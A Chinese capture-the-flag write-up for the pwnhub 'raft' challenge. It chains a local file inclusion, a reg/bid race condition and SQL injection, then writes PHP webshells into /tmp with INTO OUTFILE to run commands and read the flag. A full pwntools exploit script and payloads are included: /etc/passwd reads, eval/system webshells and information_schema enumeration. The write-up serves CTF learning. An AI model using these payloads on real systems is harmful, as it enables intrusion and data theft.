pwnhub.cn 拍卖行之旅 raft writeup

2016/12/20 WEB PWN Writeup

题目没有给bin,只给了一个网站(http://54.223.241.254/),看起来是一个膜火日的网站。。我也来膜一发火日。。

网站有本地文件包含漏洞

http://54.223.241.254/?page=/etc/passwd

利用这个漏洞可以读取服务器上文件,也可以用此方法读到binary文件,至于如何找,只要依次访问如下文件就可以。

https://hub.docker.com/r/eadom/ctf_xinetd/~/dockerfile/
http://54.223.241.254/?page=/etc/xinetd.d/ctf
http://54.223.241.254/?page=/home/ctf/raft

拿到binary以后就可以分析了

漏洞分析&利用

这题binary文件很大,所以漏洞比较隐秘。由于binary中函数比较多,所以从头逆向是下下之策。

我直接通过string 定位到了SQL语句。

snprintf(&s, 500uLL, "INSERT INTO TOKENS (TOKENS, PASSWORD) VALUES('%s', '%s')", v5, v4, v17);
v22 = mysql_query(v18, (__int64)&s);

看起来v4如果可控的话,是有注入攻击的。那v4到底是否可控呢?

简单的逆一下这个函数的父函数、主函数等相关函数发现,程序提供了reg password\bid price两大功能,而v4是password的md5值,所以并不可控。然后发现这个程序居然是多线程的,心想可不可能是racecondition,由于C++的binary看起来太蛋疼,我就干脆直接写一个fuzzer跑了一下:

from pwn import *;
import random;
io=process("./raft");
def bid(data):
	io.sendline("bid "+data);
def reg(passwd):
	io.sendline("reg "+passwd);
def printhelp(cmd):
	io.sendline("help"+cmd);
while(1):
	try:
		r0=random.randint(0,995);
		r1=random.randint(0,995);
		r2=random.randint(0,995);
		r3=random.randint(0,2);
		if r3==1:
			bid("A"*r1)
		elif r3==2:
			reg("B"*r2)
		else:
			printhelp("C"*r0);
		print io.recv(1000,1)
	except:
		io=process("./raft")
		time.sleep(1)
		continue;

然后查询本地的数据库,很快就发现了password竟然被插入了AAAAAAAA…,看来果真是racecondition,根据fuzzer生成的数据最终发现每次被插入AAAAAAAA…的时候,都是一个reg跟好几个bid,看起来是reg跟bid之间的争用,继续逆向程序,果然在0x429f发现了这个race condition。reg password中的存储md5(password)与bid price中的存储price用的是同一个内存,如果先跑一个reg,再跑n个bid的话,reg算好的md5(password)可能会被bid的price覆盖。这样我们就可以进行SQL注入了。

然后我是一个pwn选手。。 pwn选手。 pwn选手 pwn选 pwn pw p。。。。。

于是乎现学了爆表名、报错注入等一系列高端知识,把数据库翻了个底朝天,并没有找到flag。。然后接着想办法用select xxx into yyy上传webshell,上传了好几个小时,一直没上传进去,以为是权限不够,查阅各种资料,甚至还爆了secure_file_priv。。搞了几个小时,最后发现传不上去的原因是我传的那几个目录都不可写。。。。。。。最后传到/tmp终于成功了。。

接下来的问题就是成功了用菜刀连居然没反应,本来以为是被waf过滤掉了,于是乎到网上学习各种花式绕过waf的方法,都没成功。后来又想是不是LFI之后webshell就没法访问了,于是乎又到网上学了各种姿势尝试把webshell传到var/www/html目录下,又没成功,搞了几个小时,搞的tmp目录下都是我传的各种webshell,最后发现原来是菜刀的问题。。。菜刀连不上这个站。。直接用firefox手动操作就可以了。

最后上传 <?php echo system($_POST[1]);?> 到/tmp/1234.php
做以下两个post请求就可以看到flag。。
http://54.223.241.254/?page=/tmp/1234.php
1=ls /home/ctf

http://54.223.241.254/?page=/tmp/1234.php
1=cat /home/ctf/this-is-real-flag000

做完这题,我觉得我可以转web了。。。学了好多web知识

Exploit

为了让大家看到我做题的艰辛,= =我决定保留注释

from pwn import *;
import random;
#io=process("./raft");
io=remote("54.223.241.254", 22333)
fd=open("a.in","w");
def bid(data):
	io.sendline("bid "+data);
	fd.write("bid "+data+"\n")
def reg(passwd):
	io.sendline("reg "+passwd);
	fd.write("reg "+passwd+"\n")
while(1):
	try:
		r1=random.randint(0,800);
		r2=random.randint(0,800);
		r3=random.randint(0,1);
	#	sql="22');SELECT 'kaokaokao' INTO OUTFILE '/tmp/12c3ha4.txt'#"
		sql="22');SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/tmp/1234567.php'#"
	#	sql="22');SELECT '<?php fputs(fopen(\"/tmp/shell257.php\",\"w\"),\"<?php ;?>\");?>' INTO OUTFILE '/tmp/noip97.php'#"
	
		#sql="22');SELECT '<?php @eval($_POST['passwd']);?>\n<b>123<b>' INTO OUTFILE '/tmp/noip5.php'#"
		#sql="22');INSERT INTO BID (PRICE,TOKENS) VALUES(222,(select TOKENS from BID where PRICE=222)+'"
		#sql="22');INSERT INTO BID (PRICE,TOKENS) VALUES(222,(select @@secure_file_priv))#"
		#sql="123'+ (select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,("
	#	payload="select @@secure_file_priv"
	#	payload="select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x696e666f726d6174696f6e5f736368656d61"
		#payload="select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x646174657769746866697265"
		#payload="select concat(group_concat(distinct schema_name)) from information_schema.schemata"
		#payload="select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=0x646174657769746866697265 and table_name=0x544f4b454e53"
		#payload="select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=0x646174657769746866697265 and table_name=0x424944"
		
	#	sql2=")),1))));INSERT INTO TOKENS (TOKENS, PASSWORD) VALUES('123', '123"
	#	sql=sql+payload+sql2
		#if r3:
	#		bid("A"*r1)
	#	else:
	#		reg("B"*r2)
		reg("B"*888)
		for i in range(10):
			bid(sql);
		print io.recv(1000,1)
	except:
#		io=process("./raft")
		io=remote("54.223.241.254", 22333)
		time.sleep(1)
		continue;

好气啊,pwn漏洞老早就搞定了,卡web卡了10多小时,妈妈我要学习web!!

最后的最后,暴打出题人,膜火日。膜抢走我一血的bird。

Search

    Post Directory